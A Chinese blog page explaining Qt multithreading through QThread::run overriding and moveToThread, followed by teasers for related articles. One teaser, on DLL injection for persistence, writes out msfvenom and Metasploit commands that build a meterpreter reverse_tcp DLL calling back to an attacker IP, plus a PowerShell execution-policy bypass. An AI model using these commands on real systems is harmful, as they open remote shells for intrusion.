qt多线程的两种方法run和movetothread

news2024/9/22 7:28:13

qt多线程的有什么用?

将耗时长的操作丢入专属线程执行,这样就不会影响主线程的界面操作,操作完再用信号槽等的方式返回结果

1.界面和部件相关都必须在主界面运行,不要用子线程调用或者操作,会引起奇怪的bug,子线程通过信号槽操作界面返回结果

2.线程转移不允许有父对象的线程转移,可能是因为父对象对象树销毁时无法保证子对象线程安全

3.对象必须包含QOBJECT

下面用两种方法介绍多线程的使用方法

假设有一种算法非常耗时,要消耗2s,我们设计一个界面求计算后的结果

经典方法:

转到按键信号槽,调用

当你计算的时候就会惊奇的发现,点击计算后计算完成前界面动不了了,连关都关不掉,点快了甚至还会无响应,因为所有gui相关组件和界面都在且只能在主线程进行

为了更直观的表现,我们修改一下代码,使用QThread::currentThreadID()看看主线程和执行算法的线程ID

可以看到算法是在主线程执行的,所以才会导致界面在执行算法中无法操作

为了防止出现这样的问题,采用子线程执行,这样就不会影响界面的操作,有两种方法

1.重写run

建立一个类,继承QThread,初步重写run函数

在QT中,对象与对象之间都是new的,所以无法相互调用,对象间操作都要通过信号槽或者元对象系统访问,我们的算法也不例外,算法对象由widget创立,需要通过信号槽完成算法对象对widget对象的数据结果返回(所以要继承QOBJECT),添加算法类内容

重写run的多线程方式有点像动态线程,即取即用

1,按键按下的槽函数

建立算法对象赋值,连接算法返回值槽函数,算法对象调用start函数

注意:重写的run函数为start()后新线程自动执行的函数,run函数执行完成后线程结束销毁

你可以直接调用run方法,仍会执行run函数内容,但是只会在调用run的线程里执行run的内容,不会创建新线程执行run内容,只能通过调用start方法才能真正在新线程里执行run函数的内容。

2.算法的run函数

因为算法没有绑定父对象,所以让它执行完后自己释放自己的内存

打印的槽函数:

执行 输入值后连点两次计算看看

发现连点两次创造了两个线程,我们的算法在线程里执行,如果是单线程执行第二次点的时候就直接卡死了。稍等一下结果出来后再点击一下计算看看

线程run函数执行完后释放,所以第三次点击的时候第一次和第二次的线程已经销毁了,可以又从第一次的线程ID创建,可以在run函数最后加上while(1)或者exec看看是否会释放

2.moveToThread

moveToThread更倾向于将计算丢进一个长期存在的算法线程,所以对构造函数进行改变并且在widget构造时就新建此线程,且不退出

创建一个简单的线程类对象

在主线程中创建这个类的对象并start,连接算法对象的接收发送信号槽,最后将算法对象移动到创建的线程对象

执行,点击两下计算,会发现一开始只打印了一次,因为此时算法线程在执行第一个信号槽函数的QThread::sleep,所以信号在事件里等待,然后过2s后第二个信号执行。两次的算法线程一致

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2115461.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

推荐一款免费使用的电脑笔记软件,工作必备

今天为大家介绍一款开源的笔记软件——Beaver Notes(海狸笔记)。 海狸笔记(Beaver Notes)是一款注重隐私保护的免费、开源且无广告的笔记工具。它拥有一个干净且吸引人的用户界面,操作直观便捷,并且兼容 W…

验证码的作用,为什么要存在验证码?

背景 在现代网络应用中,验证码被广泛使用以实现人机识别和减轻服务器负担。常见的验证码为以下几类: 图形验证码:通过展示一个随机生成的图形,要求用户输入对应的文字或数字来判断用户是否为真实用户。滑块验证码:用…

基于VS2022+Qt5+C++的网络调试助手开发

目录 一、前言 二、环境准备以及项目创建 三、 项目实现 1.ui界面设计 2.添加NetWork模块 QTcpSocket 和 QTcpServer QUdpSocket 3.主要功能实现 ①IP扫描 ②端口设置 ③数据接收 ④数据发送 ⑤日志保存 4.打包成exe 四、效果展示 五、总结 一、前言 我之前用…

Mysql高级篇(中)——索引介绍

Mysql高级篇(中)——索引介绍 一、索引本质二、索引优缺点三、索引分类(1)按数据结构分类(2)按功能分类(3) 按存储引擎分类(4) 按存储方式分类(5&…

通信工程学习:什么是DB数据库、DBS数据库系统、DBMS数据库管理系统

DB数据库、DBS数据库系统、DBMS数据库管理系统 在计算机科学中,数据库(DB)、数据库系统(DBS)和数据库管理系统(DBMS)是构建和管理数据存储与检索系统的核心概念。下面将分别详细解释这三个术语。…

基于人工智能的智能家居语音控制系统

目录 引言项目背景环境准备 硬件要求软件安装与配置系统设计 系统架构关键技术代码示例 数据预处理模型训练模型预测应用场景结论 1. 引言 随着物联网(IoT)和人工智能技术的发展,智能家居语音控制系统已经成为现代家庭的一部分。通过语音控…

Spring入门案例创建流程

Spring详细创建流程如下 1)创建Maven工程 打开idea主界面 new Project > Name > Language > Maven > JDK > GroupId > Create Src > 鼠标右键>Delete 创建module 鼠标右键spring-demo > new > Module new Module > Name > L…

RocksDB简介

一、RocksDB是什么 常见的数据库如 Redis Mysql Mongo 可以单独提供网络服务RocksDB提供存储服务,是一个嵌入式KV存储引擎 Rocksdb没有server code,用户需要自己实现server的部分来得到c-s架构的数据库。二、RocksDB的诞生 基于flash存储和ssd普及,网络latency在query worklo…

WEB渗透权限维持篇-DLL注入\劫持

DLL注入 Powershell 生成DLL >msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.0.105 LPORT6666 -f dll -o /var/www/html/x.dll >use exploit/multi/handler >set payload windows/x64/meterpreter/reverse_tcp >Powershell -nop -exec bypass -…

MFC工控项目实例之十一板卡测试信号输入界面

承接专栏《MFC工控项目实例之十添加系统测试对话框》 相关代码 1、在BoardTest.h文件中添加代码 class CBoardTest : public CDialog { // Construction public:CBoardTest(CWnd* pParent NULL); // standard constructorCButtonST m_btnStart[16];CWinThread* pThread…

网络编程入门概念篇

1.网络编程-概念(套接字编程) 网络体系结构 网络体系结构指的是网络的层次结构和每一层所使用的协议的集合 实现网络传输的功能非常繁杂,所以采用了分而治之的设计方法,把网络的功能划分为不同的模块,以分层的形式有…

【机器学习】决策树与随机森林:模型对比与应用案例分析

文章目录 一.引言 在现代数据科学的世界中,决策树和随机森林是两个非常重要且广泛使用的机器学习算法。它们不仅因其高效性和强大的表现力而受到青睐,而且在解决实际问题时也表现出了令人印象深刻的能力。本篇文章将深入探讨这两个算法,帮助读…

JAVAEE初阶第七节(中)——物理原理与TCP_IP

系列文章目录 JAVAEE初阶第七节(中)——物理原理与TCP_IP 文章目录 系列文章目录JAVAEE初阶第七节(中)——物理原理与TCP_IP 一.应用层重点协议)1. DNS2 .NAT3. NAT IP转换过程 4 .NAPT5. NAT技术的缺陷6. HTTP/HTTPS…

秋夜思故人有感

秋夜思故人有感 西楼月影碎, 轩窗烛泪灰。 门前小犬吠, 疑是故人归。

仕考网:事业编考试考什么?

事业编考试科目为: 《职测》《综应》《公基》三选二 事业编有哪些招考形式? ①联考 多省份统一考试,考试时间、考试内容相同,每年两次,上半年5月和下半年10月各一次; ②单招 用人单位单独招聘,考试时间和内容自…

钉耙编程(8)

1007 cats 的 k-xor 分析&#xff1a; 1.是对x 取余 得到最后一位 标准答案代码&#xff1a; #include<bits/stdc.h> using namespace std; long long kxor(long long a,long long b,long long k){long long ans0,w1,c;while(a>0||b>0){c(ab)%k;a/k;b/k;ansc*w;w*…

研发效能DevOps: VSCode进行前端项目初始配置

目录 一、实验 1.环境 2.安装Node.js 3.初始化前端项目 二、问题 1.cnpm安装报错 2.如何删除cnpm与指定cnpm版本 3.前端项目运行报错 4.node版本与npm版本对应关系如何查询 一、实验 1.环境 &#xff08;1&#xff09;主机 表1 主机 系统 软件版本备注Windows11VS …

C++之map和set的基本操作

目录 set的基本操作 元素的插入 元素的遍历 元素的查找 元素的删除 multiset的基本操作 count接口 元素的查找 元素的删除 map的基本操作 元素的插入 元素的遍历 元素的查找 元素的删除 operator[ ]接口 multimap的基本操作 在之前我们已经学过了vector&…

录屏新秀Top3 VS班迪录屏 ,谁更胜一筹?

现在是数字时代哈&#xff0c;录屏软件那可是咱生活和工作里特别重要的小玩意儿。比如说制作教学视频、搞游戏直播或者记录工作会议啥的&#xff0c;一款好的录屏软件能让咱效率高高的。今天呢&#xff0c;咱们就来对比一下新推出的三款录屏软件和那个老牌的班迪录屏&#xff0…

【一文读懂】NTN(非地面网络)技术介绍

一、引言 随着科技的飞速发展&#xff0c;全球通信需求日益增长&#xff0c;特别是在偏远地区或服务欠缺地区&#xff0c;传统的地面网络往往难以覆盖。为此&#xff0c;基于5G标准的卫星对地通信技术应运而生&#xff0c;构建了一个全新的通信领域——非地面网络&#xff08;…